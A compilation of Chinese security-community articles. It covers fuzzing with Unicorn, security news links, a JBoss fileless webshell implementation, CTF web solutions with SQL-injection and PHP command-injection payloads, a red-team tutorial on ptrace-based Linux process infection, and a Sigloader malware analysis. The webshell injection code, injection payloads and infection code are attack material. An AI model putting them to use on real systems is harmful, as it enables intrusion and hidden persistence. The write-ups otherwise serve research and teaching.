free()这些标准库函数。其中printf()如之前所说，可以通过PRELOAD的机制来忽略掉；strcpy()和memcpy()，可以继续模拟执行mipsel架构的libc中的实现；比较复杂的是malloc()和free()，因为一般来说malloc()需要brk()的系统调用，而Unicorn还不支持系统调用。所以，我们也重新写了一个非常简单的堆分配器，并通过PRELOAD的方式替换掉标准库中的实现：
我们需要在Unicorn中分配一片内存作为堆，然后每次malloc()调用，就直接从这片内存中切一块出来。而为了检测可能发生的堆溢出漏洞，我们参考栈溢出检测的机制，在malloc()分配的内存末尾加上一个固定的canary，并在头部写入这块内存的大小，以便后续检查。free()也被简化为空，因此不需要进行内存回收、合并等复杂操作。
接下来，我们将包含上述preload函数的demo-libcpreload.c，也编译成与demo-vuln同样架构的ELF动态库：
mipsel-linux-gnu-gcc -shared -fPIC -nostdlib -Xlinker –hash-style=sysv demo-libcpreload.c -o demo-libcpreload.so
现在，目标ELF和preload库都已经准备完成，接下来就需要编写相关代码，设置好模拟执行的环境。uniFuzzer提供了以下几个回调接口：
* void onLibLoad(const char *libName, void *baseAddr, void *ucBaseAddr): 在每个ELF被加载到Unicorn时回调
* int uniFuzzerInit(uc_engine *uc): 在目标被加载到Unicorn之后回调，可以在这里进行环境的初始化，例如设置堆、栈、寄存器
* int uniFuzzerBeforeExec(uc_engine *uc, const uint8_t *data, size_t len): 每轮fuzzing执行前回调
* int uniFuzzerAfterExec(uc_engine *uc): 每轮fuzzing执行完成后回调
用户通过在目录callback/中编写.c代码，实现上述回调函数，进行fuzzing。针对demo-vuln，我们也编写了一个callback/demo-callback.c文件作为参考。
最终，在代码根目录下运行make，即可编译得到最终的fuzzing程序uf。运行以下命令，开始fuzzing：
UF_TARGET=<path to demo-vuln> UF_PRELOAD=<path to demo-libcpreload.so>
UF_LIBPATH=<lib path for MIPS> ./uf
相关的参数是通过环境变量传递的。UF_TARGET是要fuzzing的目标ELF文件，UF_PRELOAD是要preload加载的自定义ELF动态库，UF_LIBPATH是依赖库的搜索路径。在Debian上安装libc6-mipsel-cross这个包，应该就会安装所需的mipsel库，此时依赖库的搜索路径就在/usr/mipsel-linux-gnu/lib/。
下图是一个fuzzing触发的崩溃：
可以看到，uniFuzzer检测到了堆溢出。触发漏洞的，是长度68 bytes的字符串，当其被strcpy()到长度为60
bytes的堆时，canary的值被修改，最终被检测发现。
下图是另一个fuzzing触发的崩溃：
这次的输入只有1个字符，\xef。其被作为memcpy()的参数，复制了超长的内容到128
bytes的栈变量上，从而修改了vuln()函数返回地址，触发了内存访问错误。
## 总结
通过结合Unicorn和LibFuzzer的功能，我们实现了对闭源代码的fuzzing。上述开源的uniFuzzer代码其实还属于概念验证阶段，许多功能例如系统调用的支持、其他架构/二进制格式的支持等等，还需要后续进一步完善。也欢迎在这方面有研究的小伙伴多提建议和PR，进一步完善功能。 | 社区文章 |
# 【知识】5月15日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：【权威报告】WanaCrypt0r勒索蠕虫完全分析报告、MS17-010
漏洞检测与内网穿透技术的应用、如何绕过WAF/NGWAF的libinjection实现SQL注入、Microsoft为不支持的产品Windows
XP，Windows 8和Windows Server
2003发布WannaCrypt（想哭的蠕虫）保护补丁、工控安全学习资源汇总、活跃的网络间谍组织：APT32黑客组织对全球企业的威胁、工控安全学习资源汇总**
**
**
**国内热词(以下内容部分摘自http://www.solidot.org/)：**
想哭蠕虫
微软开始停止支持 SHA-1 证书
**资讯类：**
朝鲜遭受无文件恶意代码攻击
<http://www.securityweek.com/new-fileless-attack-targets-north-korea>
WannaCry 2.0 已来，后果或无法预测
[http://securityaffairs.co/wordpress/59087/breaking-news/wannacry-improvements.html](http://securityaffairs.co/wordpress/59087/breaking-news/wannacry-improvements.html)
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
【权威报告】WanaCrypt0r勒索蠕虫完全分析报告
<http://bobao.360.cn/learning/detail/3853.html>
WannaCry（想哭的蠕虫）：详细技术分析
<https://blog.comae.io/wannacry-the-largest-ransom-ware-infection-in-history-f37da8e30a58>
MS17-010 漏洞检测与内网穿透技术的应用
<http://fuping.site/2017/04/21/MS17-010-Vulnerability-Detection-And-Ngrok/>
逆向工程英特尔管理引擎ROMP模块
<https://puri.sm/posts/reverse-engineering-the-intel-management-engine-romp-module/>
Amazon Cloud Drive auth中的bug可以使用acd_cli访问他人的云端Drive
<https://github.com/yadayada/acd_cli/issues/549>
如何绕过WAF/NGWAF的libinjection实现SQL注入
<https://medium.com/@d0znpp/how-to-bypass-libinjection-in-many-waf-ngwaf-1e2513453c0f>
Microsoft为不支持的产品Windows XP，Windows 8和Windows Server
2003发布WannaCrypt（想哭的蠕虫）保护补丁
<https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/>
Burp插件，使用WayBack Machine构建站点地图
<https://github.com/k4ch0w/PwnBack/releases>
Exploiting the unexploitable with lesser known browser tricks
<https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks>
工控安全学习资源汇总
<https://github.com/tanjiti/icstools>
如何在无线网络上绕过MAC地址过滤
<http://www.hackingtutorials.org/wifi-hacking-tutorials/bypass-mac-filtering-on-wireless-networks/>
2017钓鱼攻击报告（如何保护企业免受钓鱼攻击的影响）
<https://info.wombatsecurity.com/state-of-the-phish>
NfSpy：一个具有ID-欺骗功能的NFS客户端
<https://n0where.net/nfspy-id-spoofing-nfs-client/>
Arachni：Web应用安全扫描框架
https://n0where.net/web-application-security-scanner-framework/
相关安装部署方面文章可以参考这篇文章：<http://bobao.360.cn/learning/detail/3533.html>
PHPStress：PHP拒绝服务攻击
<https://n0where.net/phpstress/>
活跃的网络间谍组织：APT32黑客组织对全球企业的威胁
<https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html>
Data Exfiltration In Plain Sight: Cloakify Toolset
<https://github.com/trycatchhcf/cloakify> | 社区文章 |
**作者：宽字节安全**
**原文链接：<https://mp.weixin.qq.com/s/_SQS9B7tkL1H5fMIgPTOKw>**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！**
**投稿邮箱：[email protected]**
前几篇文章主要研究了tomcat，weblogic的无文件webshell。这篇文章则重点研究jboss的无文件webhsell。下面分享一下思路,以下分析基于
jboss 社区版 wildfly-20.0.0.Final版本。
## 0x01 wildfly 加载Filter分析
在Filter处随便打一个断点，如图，观察堆栈
jboss比较简单，处理Filter的代码如下所示
io.undertow.servlet.handlers.FilterHandler#handleRequest
public void handleRequest(HttpServerExchange exchange) throws Exception {
ServletRequestContext servletRequestContext = (ServletRequestContext)exchange.getAttachment(ServletRequestContext.ATTACHMENT_KEY);
ServletRequest request = servletRequestContext.getServletRequest();
ServletResponse response = servletRequestContext.getServletResponse();
DispatcherType dispatcher = servletRequestContext.getDispatcherType();
Boolean supported = (Boolean)this.asyncSupported.get(dispatcher);
if (supported != null && !supported) {
servletRequestContext.setAsyncSupported(false);
}
List<ManagedFilter> filters = (List)this.filters.get(dispatcher);
if (filters == null) {
this.next.handleRequest(exchange);
} else {
FilterHandler.FilterChainImpl filterChain = new FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers);
filterChain.doFilter(request, response);
}
}
FilterHandler的handleRequest方法中，获取filter去创建filter。并创建FilterChainImpl。我们继续向上分析哪些函数调用了hadleRequest。在`io.undertow.servlet.handlers.ServletChain#ServletChain`方法中，会执行forceInit方法，forceInit方法的代码如下
io.undertow.servlet.handlers.ServletChain#forceInit
List<ManagedFilter> list = filters.get(dispatcherType);
if(list != null && !list.isEmpty()) {
for(int i = 0; i < list.size(); ++i) {
ManagedFilter filter = list.get(i);
filter.forceInit();
}
}
跟入ManagedFilter的forceInit方法，forceInit方法主要作用是调用ManagedFilter的createFilter方法，去初始化一个Filter。代码如下
public void createFilter() throws ServletException {
synchronized (this) {
if (filter == null) {
try {
handle = filterInfo.getInstanceFactory().createInstance();
} catch (Exception e) {
throw UndertowServletMessages.MESSAGES.couldNotInstantiateComponent(filterInfo.getName(), e);
}
Filter filter = handle.getInstance();
new LifecyleInterceptorInvocation(servletContext.getDeployment().getDeploymentInfo().getLifecycleInterceptors(), filterInfo, filter, new FilterConfigImpl(filterInfo, servletContext)).proceed();
this.filter = filter;
}
}
}
我们可以看出，在该函数中，如果检测到Filter没有注册，则通过`LifecyleInterceptorInvocation`去初始化一个Filter，并添加到`FilterHandler`的Filter中。
## 0x02 实现
### 1\. 获取ServletChain
在ServletRequestContext中，我们可以发现如下方法
/**
* Gets the current threads {@link ServletRequestContext} if set, otherwise null.
*
* @return The current {@link ServletRequestContext} based on the calling thread, or null if unavailable
*/
public static ServletRequestContext current() {
SecurityManager sm = System.getSecurityManager();
if(sm != null) {
sm.checkPermission(GET_CURRENT_REQUEST);
}
return CURRENT.get();
}
通过ServletRequestContext.current这个静态方法，可以获取当前的`ServletRequestContext`对象。`ServletRequestContext`对象中，恰好存放我们需要的ServerChain对象。
### 2\. 反射获取ServletChain的filter
filter的类型为EnumMap，key为REQUEST，value为数组，依次存放需要调用的Filter。可以通过反射调用，代码如下
Field filtersF = servletChain.getClass().getDeclaredField("filters");
filtersF.setAccessible(true);
java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);
### 3\. 创建ManagedFilter
ServletChain的filter中，数组中的类型为`ManagedFilter`。`ManagedFilter`的构造参数中，需要两个参数，分别为FilterInfo与servletContext。这两个参数构造方法如下
#### 3.1 FilterInfo
FilterInfo中，并不需要Class.forName，通过名称去加载Filter类。相反，只需要在参数中提供Filter的Class即可，相关代码如下
public FilterInfo(final String name, final Class<? extends Filter> filterClass) {
try {
final Constructor<Filter> ctor = (Constructor<Filter>) filterClass.getDeclaredConstructor();
ctor.setAccessible(true);
this.instanceFactory = new ConstructorInstanceFactory<>(ctor);
this.name = name;
this.filterClass = filterClass;
} catch (NoSuchMethodException e) {
throw UndertowServletMessages.MESSAGES.componentMustHaveDefaultConstructor("Filter", filterClass);
}
}
#### 3.2 servletContext
servletContext与Context不是一个类型。但是可以从Context中获取servletContext对象。
完整代码如下
Method currentM = Class.forName("io.undertow.servlet.handlers.ServletRequestContext").getDeclaredMethod("current");
Object curContext = currentM.invoke(null);
Method getCurrentServletM = curContext.getClass().getMethod("getCurrentServlet");
Object servletChain = getCurrentServletM.invoke(curContext);
Field filtersF = servletChain.getClass().getDeclaredField("filters");
filtersF.setAccessible(true);
java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);
String evilFilterClassName = "testFilter1";
Class evilFilterClass = null;
try {
evilFilterClass = Class.forName(evilFilterClassName);
} catch (ClassNotFoundException e) {
BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = "H4sIAAAAAAAA...";
Method defineClassM = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassM.setAccessible(true);
evilFilterClass = (Class) defineClassM.invoke(Thread.currentThread().getContextClassLoader(), uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
}
ArrayList filterList = (ArrayList) filters.get(DispatcherType.REQUEST);
Object evilFilterInfo = Class.forName("io.undertow.servlet.api.FilterInfo").getDeclaredConstructors()[0].newInstance("UnicodeSec", evilFilterClass);
Field servletRequestF = curContext.getClass().getDeclaredField("servletRequest");
servletRequestF.setAccessible(true);
Object obj = servletRequestF.get(curContext);
Field servletContextF = obj.getClass().getDeclaredField("servletContext");
servletContextF.setAccessible(true);
Object servletContext = servletContextF.get(obj);
Object evilManagedFilter = Class.forName("io.undertow.servlet.core.ManagedFilter").getDeclaredConstructors()[0].newInstance(evilFilterInfo, servletContext);
filterList.add(evilManagedFilter);
## 0x03 成果检验
jboss有些特殊，上面的内存马只能在可以被正常访问的页面中才可以触发内存马。效果如下
添加需要执行的命令，内存马开始执行命令，并输入结果
正常访问页面，则无反应
* * * | 社区文章 |
昨天打了第四届上海市大学生网络安全大赛，这里记录下四道web的解题过程。
# web1
题目描述:what are you doing?
这题说实话比较脑洞。。
进来之后，页面没什么东西，注释有提示还是注释有提示，根据注释，添加header:`X-Client-IP:127.0.0.1`以及post
`admin=1`就可以看到下一步关键提示
# web2
题目描述：Can you hack me?
进来之后同样是一个没东西的页面这次注释也没东西，那么直接扫一波目录，发现有`.index.php.swp`，下载下来，用`vim
-r`复原所有代码如下:
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==='give'){
if($bbb==='me'){
if($ccc==='flag'){
echo "<br>welcome</br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else{
echo "<br>think about it</br>";
}
}
else{
echo "no";
}
}
else{
echo "can you hack me?";
}
?>
前面是一个类的声明，然后看这个部分`的处理，这里很明显，`$args`得是一个数组。
然后再看，`waf`函数禁用了一些东西，但是好像本来就没打算用得上，还把flag替换为空，简单双写即可绕过。
再看`echo`函数，调用了`system()`，而且参数可控，明显可以命令注入。
最后看`__destruct`，这里限定了传进去的`$method`只能是`echo`，然后用`echo`函数对`$args`数组进行处理。
所以，我们可以这么构造
# web3
题目描述：GOOD JOB
代码审计题
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
这题刚拿到手，还以为是今年HITCON的`one-line-php-challenge`的升级版，吓得我都打开了各种wp待命，后面仔细看了才发现其实没啥关系。首先我们需要绕过这个`了
我们知道，可以把文件传到`/tmp`目录下，然后这里`$_`又是可控的，事情就变得很简单了。像这样构造数据包
# web4
题目描述：GOOD LUCK.
## SQL注入
进来之后有一个id输入框，还有个登录框第一时间测测SQL注入，发现id是存在注入的。`id=sd'
or
1#`:`id=sd'
or
0#`:想了一下，觉得首先要找到它把什么替换为空了才能突破。进行了漫长的测试后，发现`from`和`select`都被替换为空。`id=sd'
or (selselectect
1)#`:`id=sd'
or (selselectect 1
fromfromfrom)#`:没有报`get
out hacker!!`，说明是可以的。然后进行注入，发现这是令人愉悦的有回显的注入(其实是后面才想起来，一开始完全就是当布尔盲注做的-_-0)
`id=sd' unifromon selselectect (seselectlect
database()),2#`:`id=sd'
unifromon selselectect (seselectlect group_concat(table_name)frfromom
information_schemafrom.tables where
table_schema='web'),2#`:`id=sd'
unifromon selselectect (seselectlect group_concat(column_name)frfromom
information_schemafrom.columns where table_name='user' and
table_schema='web'),2#`:`id=sd'
unifromon selselectect (seselectlect
group_concat(username,':',password)frfromom
web.user),2#`:然后登录
## "文件上传"
登录进来之后看到一个文件上传的表单发现无论传过去的文件名是什么，后台都会在最后面加个`.txt`，而且提示说要`upload
to
./flag.php`，而且这是个假的上传，访问返回的链接是没有东西的。这里首先发现，最终的文件名是`uploaddir`和`fileField`的文件名共同组成的，两者配合可以弄出一个php的后缀。 | 社区文章 |
# Linux 进程感染：Part 1
|
##### 译文声明
本文是翻译文章，文章原作者 tarlogic，文章来源：tarlogic.com
原文地址：<https://www.tarlogic.com/en/blog/linux-process-infection-part-i/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在红队需要执行的各种任务中有一项因其使用的技术而引人注目：在系统中植入APT（高级持续性威胁），并确保它的持久性。不幸的是，这种持久性机制大多依赖于通过一种或多种激活技术(例如shell脚本、别名、链接、系统启动脚本等)在不同位置保存可执行文件的副本，因此蓝队只需找到这些副本就能进行分析。
虽然安全人员迟早会发现到底发生了什么，但可以通过一些技术使得在受感染的计算机中难以(或者至少延迟)检测APT。在本文中，我们将详细介绍一种基于进程树而不是常规的基于文件系统存储的持久性机制。
## 前提条件
这种技术应用于x86-64
GNU/Linux，尽管理论上可以很容易地扩展到任何具有较为完整的调试API的操作系统。最起码的要求是：任何现代GCC版本都能进行这项工作。
## 使用其他进程的地址空间作为仓库
这种技术的思想是将正在运行的非特权进程的地址空间作为存储区域，方法是在其中注入两个线程：第一个线程将试图感染其他进程，而另一个线程将包含攻击载荷(在本例中，用于确保文件系统持久性)。如果文件被删除，它将通过别名还原。
这种技术受到机器正常运行时间的严格限制，因此它应该用于不会频繁重启的系统。在其他系统中，它可以被当作一种补充的持久性机制。
## 注入
显然最关键一步之一就是代码注入本身。由于不可能事先知道代码在受害者地址空间中的地址，所以代码应该是PIC(position-independent
code，与位置无关的代码)。这显然表明需要借助动态库，因为它们在实际应用时会按照预期出现在内存中。但存在一些缺点：
* 注入的大部分信息将是元数据
* 解析和加载库所需的代码，虽然不是过于复杂，但与攻击载荷的大小相比，也是不可忽略的。
* 共享库使用常见文件格式，导致生成的文件易于分析。
理想情况下，注入应该尽可能小：几个代码页，或者再多一个用于数据。而这其中还可能包含链接脚本。不论如何，为了证明这个概念，我们将实现一个共享库。
另一个需要记住的限制是，目标进程不需要作为动态可执行文件加载(因此，C库可能不需要动态加载)。另外，在加载的共享库上手工解析符号是很麻烦的，因为依赖于ABI，而且几乎无法维护。这意味着需要手工重新实现许多标准C函数。
另外，注入需要依赖ptrace系统调用。如果进程没有足够的权限(或者管理员禁用了这个功能)，就无法使用这种技术。
最后还会遇到动态内存使用限制的问题。动态内存的使用涉及处理堆，而堆的内部结构没有标准。通常不会在程序的地址空间中保持较大的内存占用，应该尽可能少地使用动态内存来减少内存占用。
## 概念证明
概念证明如下：
* 这个库将包含两个入口点。入口点的位置可以事先知道(因为它们位于从可执行文件开始的固定距离)，并且对应于注入线程主函数的开始处。
* 注入线程将列出系统中所有正在运行的进程，查找可能受攻击的进程。
* 将尝试对每个进程进行ptrace(PTRACE_SEIZE)，并读取内存，以便检测是否已被感染。
* 为了准备目标地址空间，必须注入系统调用。这些系统调用必须分配必要的内存页来存储注入的代码。
* 生成两个线程并继续执行调试的进程。
每一个阶段都需要进行一些仔细的准备，下面将详细介绍。
## 准备环境
为了让代码尽可能简洁，使用一个编译为共享库的小型C程序作为入口点。此外，为了在使用程序前进行测试，将提供另一个在库中运行特定符号的小型C程序。为了简化开发，还将包括一个包含所有构建规则的Makefile。
对于可注入库的入口点，将使用以下模板：
void
persist(void)
{
/* Implement me */
}
void
propagate(void)
{
/* Implement me */
}
执行入口点初始执行的程序将命名为“spawn.c”，如下所示：
#include
#include
#include
int
main(int argc, char *argv[])
{
void *handle;
void (*entry)(void);
if (argc != 3) {
fprintf(stderr, "Usagen%s file symboln", argv[0]);
exit(EXIT_FAILURE);
}
if ((handle = dlopen(argv[1], RTLD_NOW)) == NULL) {
fprintf(stderr, "%s: failed to load %s: %sn", argv[0], argv[1], dlerror());
exit(EXIT_FAILURE);
}
if ((entry = dlsym(handle, argv[2])) == NULL) {
fprintf(stderr, "%s: symbol `%s' not found in %sn", argv[0], argv[2], argv[1]);
exit(EXIT_FAILURE);
}
printf("Symbol `%s' found in %p. Jumping to function...n", argv[2], entry);
(entry) ();
printf("Function returned!n");
dlclose(handle);
return 0;
}
最后，编译这两个程序的Makefile，如下所示：
CC=gcc
INF_CFLAGS=--shared -fPIE -fPIC -nostdlib
all : injectable.so spawn
injectable.so : injectable.c
$(CC) $(INF_CFLAGS) injectable.c -o injectable.so
spawn : spawn.c
$(CC) spawn.c -o spawn -ldl
运行make命令编译所有内容：
% make
(…)
% ./spawn injectable.so propagate
Symbol `propagate' found in 0x7ffff76352ea. Jumping to function...
Function returned!
## 系统调用
对于上面的Makefile，需要注意的是，injectable.so是通过-nostdlib编译的(这是必需的)，因此我们将不能访问高级C系统调用接口。为了突破这一限制，需要混合使用C和内联汇编，以便与操作系统进行交互。
通常情况下，x86-64
Linux系统调用是通过syscall指令执行的(而在较早的x86系统中，则使用0x80中断)。在任何情况下，基本思想都是一样的：寄存器使用系统调用参数填充，然后通过一些特殊指令调用系统。%rax的内容由系统调用函数代码初始化，其参数按%rdi、%rsi、%rdx、%r10、%r8和%r9的顺序传递。返回值存储在%rax中，错误用负返回值表示。因此，在汇编中使用write()系统调用的简单“hello
world”如下所示：
movq $1, %rax // Syscall code for write(): 1
movq $1, %rdi // Arg 1: File descriptor (stdout)
leaq %rip(saludo), %rsi // Arg 2: Buffer address
movq $11, %rdx // Arg 3: size (11 bytes)
syscall // All set, call the kernel
[…]
saludo: .ascii “Hola mundon”
得益于GCC的内联汇编语法，在C中使用汇编语言是相当容易的，而且由于它的简洁性，它可以被简化成一句代码。GCC的write wrapper可以简化为：
#include
#include
ssize_t
write(int fd, const void *buffer, size_t size)
{
size_t result;
asm volatile(“syscall” : “=a” (result) : “a” (__NR_write), “S” (fd), “D” (buffer), ”d” (size);
return result;
}
在“syscall”之后传递的值指定在执行汇编代码之前如何初始化寄存器。在这种情况下，%rax(specifier:“a”)被初始化为`__NR_write`(扩展到系统调用代码以进行写入的宏，如syscall.h中定义的那样)、带有buffer地址的%rdi(specifier:“D”)、%rsi(specifier:“S”)和包含字符串大小的%rsi(specifier:“S”)。返回值被收集回%rax(specifier:“=a”，等号表示“结果”是一个只写的值，编译器不需要担心它的初始值)。
由于字符串解析在许多程序中很常见，而且通常都需要这一步，编写strlen的实现(按照string.h中的原型)来度量字符串长度是很方便的：
size_t
strlen(const char *buffer)
{
size_t len = 0;
while (*buffer++)
++len;
return len;
}
它允许定义以下宏：
#define puts(string) write(1, string, strlen(string))
它提供了一种在标准输出中显示调试消息的简单方法：
void
persist(void)
{
puts("This is persist()n");
}
void
propagate(void)
{
puts("This is propagate()n");
}
运行后应该产生以下输出：
% ./spawn injectable.so persist
Symbol `persist' found in 0x7f3eb58403be. Jumping to function...
This is persist()
Function returned!
% ./spawn injectable.so propagate
Symbol `propagate' found in 0x7fb8874403db. Jumping to function...
This is propagate()
Function returned!
第一个困难解决，从现在开始，对于任何缺少的系统调用功能，都应该实现相应的C
wrapper，所需的库函数(如strlen)应该按照我们需要的相应的标准头原型来实现。
## 枚举过程
为了在其他进程中注入恶意代码，第一步是了解系统中可用的进程。有两种方法可以做到这一点：
* 访问/proc并列出所有文件夹，或者
* 检测所有系统PID，从PID 2到给定的PID_MAX
虽然第一种方法看起来是最快的，但它也是最复杂的，因为：
* /proc可能没有安装。
* Linux缺少处理文件夹的opendir/readdir系统调用。它实际上依赖于getdents，它返回一个需要手动处理的可变大小结构的buffer。
* 文件名必须手动转换为整数，以便提取它们所引用的PID。因为我们无法访问库函数，所以这种转换特性也应该手动实现。
虽然第二种方法看起来比较慢，但在现代操作系统中几乎都能正常工作。在这种方法中，在PID范围内通过信号0多次调用Kill，如果PID存在且调用进程可以向其发送信号(这反过来与调用进程的权限有关)，则返回0，否则将返回错误代码。
现在唯一未知的是`PID_MAX`，它在每个系统不一定都是相同的。幸运的是，在绝大多数情况下，`PID_MAX`被设置为默认值(32768)。由于在没有发送信号的情况下，kill是非常快的，所以调用kill
33000次似乎是可行的。
使用这种技术，需要一个用于kill的wrapper。遍历2到32768之间的所有可能的PID(因为PID
1是为init保留的)，并为找到的每个进程打印一条消息：
int
kill(pid_t pid, int sig)
{
int result;
asm volatile("syscall" : "=a" (result) : "a" (__NR_kill), "D" (pid), "S" (sig));
return result;
}
编写一个函数，打印十进制数字：
void
puti(unsigned int num)
{
unsigned int max = 1000000000;
char c;
unsigned int msd_found = 0;
while (max > 0) {
c = '0' + num / max;
msd_found |= c != '0' || max == 1;
if (msd_found)
write(1, &c, 1);
num %= max;
max /= 10;
}
}
现在剩下的工作是修改propagate()，用来进行枚举：
void
propagate(void)
{
pid_t pid;
for (pid = 2; pid < PID_MAX; ++pid) if (kill(pid, 0) >= 0) {
puts("Process found: ");
puti(pid);
puts("n");
}
}
编译后，预期得到这样的结果：
% ./spawn injectable.so propagate
Process found: 1159
Process found: 1160
Process found: 1166
Process found: 1167
Process found: 1176
Process found: 1324
Process found: 1328
Process found: 1352
对于常规的桌面GNU/Linux发行版来说，通常会发现超过100个用户进程。这相当于说有一百多个可能的感染目标。
## 尝试PTRACE_SEIZE
这种技术的主要缺点：由于访问限制(例如setuid进程)，无法对上面列举的一些进程进行调试。对每个已发现进程的ptrace调用(PTRACE_SEIZE)都可以用于标识哪些进程是可调试的。
虽然对于调试运行中的程序，首先想到的是使用`PTRACE_ATTACH`，但是这种技术有副作用：如果成功，它将停止调试，直到使用`PTRACE_CONT`恢复调试为止。这可能会影响目标进程(特别是当它对时间敏感时)，从而被用户发现。但是`PTRACE_SEIZE`(在Linux3.4中引入)并不会停止目标进程。
根据libc，ptrace是一个可变的函数，因此通过始终接受4个参数、填充参数或不根据请求的命令填充参数，可以很方便地简化wrapper：
long
ptrace4(int request, pid_t pid, void *addr, void *data)
{
long result;
register void* r10 asm("r10") = data;
asm volatile("syscall" : "=a" (result) : "a" (__NR_ptrace), "S" (pid), "D" (request), "d" (addr));
return result;
}
现在propagate函数如下：
void
propagate(void)
{
pid_t pid;
int err;
for (pid = 2; pid < PID_MAX; ++pid) if (kill(pid, 0) >= 0) {
puts("Process found: ");
puti(pid);
puts(": ");
if ((err = ptrace4(PTRACE_SEIZE, pid, NULL, NULL)) >= 0) {
puts("seizable!n");
ptrace4(PTRACE_DETACH, pid, NULL, NULL);
} else {
puts("but cannot be debugged <img draggable="false" class="emoji" alt="🙁" src="https://s.w.org/images/core/emoji/11/svg/1f641.svg"> [errno=");
puti(-err);
puts("]n");
}
}
}
它将列出系统上所有可调试的进程。
## 结论
前面的测试让我们快速地了解了这种技术的可行性。到这一步，已经接近普通的调试器了，最大区别是我们的代码是自动运行的。在下一篇文章中，我们将介绍如何捕获调试器的系统来远程注入系统调用。这些远程系统调用将用于创建生成注入线程的代码和数据页。 | 社区文章 |
# 对利用了微软签名的文件的Sigloader分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.前期提要
在日常看威胁情报中发现一种利用Microsoft数字签名DLL文件的恶意软件，并且查询了披露出来的ioc信息发现没有杀软报毒，遂进行了分析。报告链接（[https://www.lac.co.jp/lacwatch/report/20210521_002618.html）](https://www.lac.co.jp/lacwatch/report/20210521_002618.html%EF%BC%89)
## 2.样本概要
我从中选取了1个loader（1E750c5cf5c68443b17c15f4aac4d794）跟1个滥用微软签名的有效载荷文件（2F2E724DD7D726D34B3F2CFAD92E6F9A）
Loader就是一个没有签名的dll
查看带有载荷的文件，发现确实有微软签名，但是文件有做过修改原始文件应该是UXLibRes.dll
## 3.样本分析
Loader的主要的功能实现就是sub_180001858函数，跟进这个函数
sub_180001858函数首先获取当前进程的默认堆的句柄，然后从堆中分配一块分配0x58字节的内存并初始化为0，然后调用了一个解密函数传入加密函数的地址以及函数名称的长度作为参数进行解密，解密出的函数如下
解密函数主要就是传入了秘钥随机数以及加密数据，加密数据长度进行计算
进行了循环判断堆指针指向的值是否为空
进入sub_180001000函数首先就有个if判断里面有2个判断条件，第一个是判断datalen-1的值是否小于等于0xEA,datalen-1值为0x4d第一个成立第二个是利用了RtlcomputerCrc32函数对datalen+4地址的数据块进行crc32计算，算出来的值与dword_1800168EC保存的数据进行比较验证数据块是否正常。Crc计算出来的值包括数据长度这些已经硬编码在数据块中
还是调用相同的解密函数传入秘钥随机值加密数据加密数据的长度进行解密
datalen解密前的数据
datalen解密后的数据可以看到KBDTAM131.DLL字符串已经出来了
分配新的堆空间heapPointer_1
判断datalen数据块的长度满足就进行数据拷贝，拷贝了24个字节到新分配的堆空间
新分配了一块堆空间heapPointer_2用来存放KBOTAM131.DLL字符串
将KBOTAM131.DLL后面的所有数据拷贝到堆空间heapPointer_1中
sub_180001000函数主要就是解密了datalen数据块然后将数据块的值拷贝新的2个堆空间中
解密后的datalen数据块
堆1原始数据
拷贝后堆1数据
堆2原始数据
拷贝后的堆2数据
sub_180001000函数执行返回后就是对新开辟的堆1偏移16的空间的值判断是否数据已经解密并且修改，然后获取了新EtwEventWrite函数的地址然后通过VirtualProtect修改内存属性修改了函数的前4个字节。
然后继续根据堆1偏移4的值来判断用户名是否是system，这里由于值为0该判断条件里面的内容并未执行
然后又对堆1偏移8的值进行了判断条件是或由于第一个条件值为0直接执行了下面的函数并未调用CreateMutex函数，CreateMutex函数跟进去如下图所示
下面就是主要的loader的执行方式了，通过DecodeData读取并解密含有载荷的有微软签名的dll然后申请内存空间创建线程执行
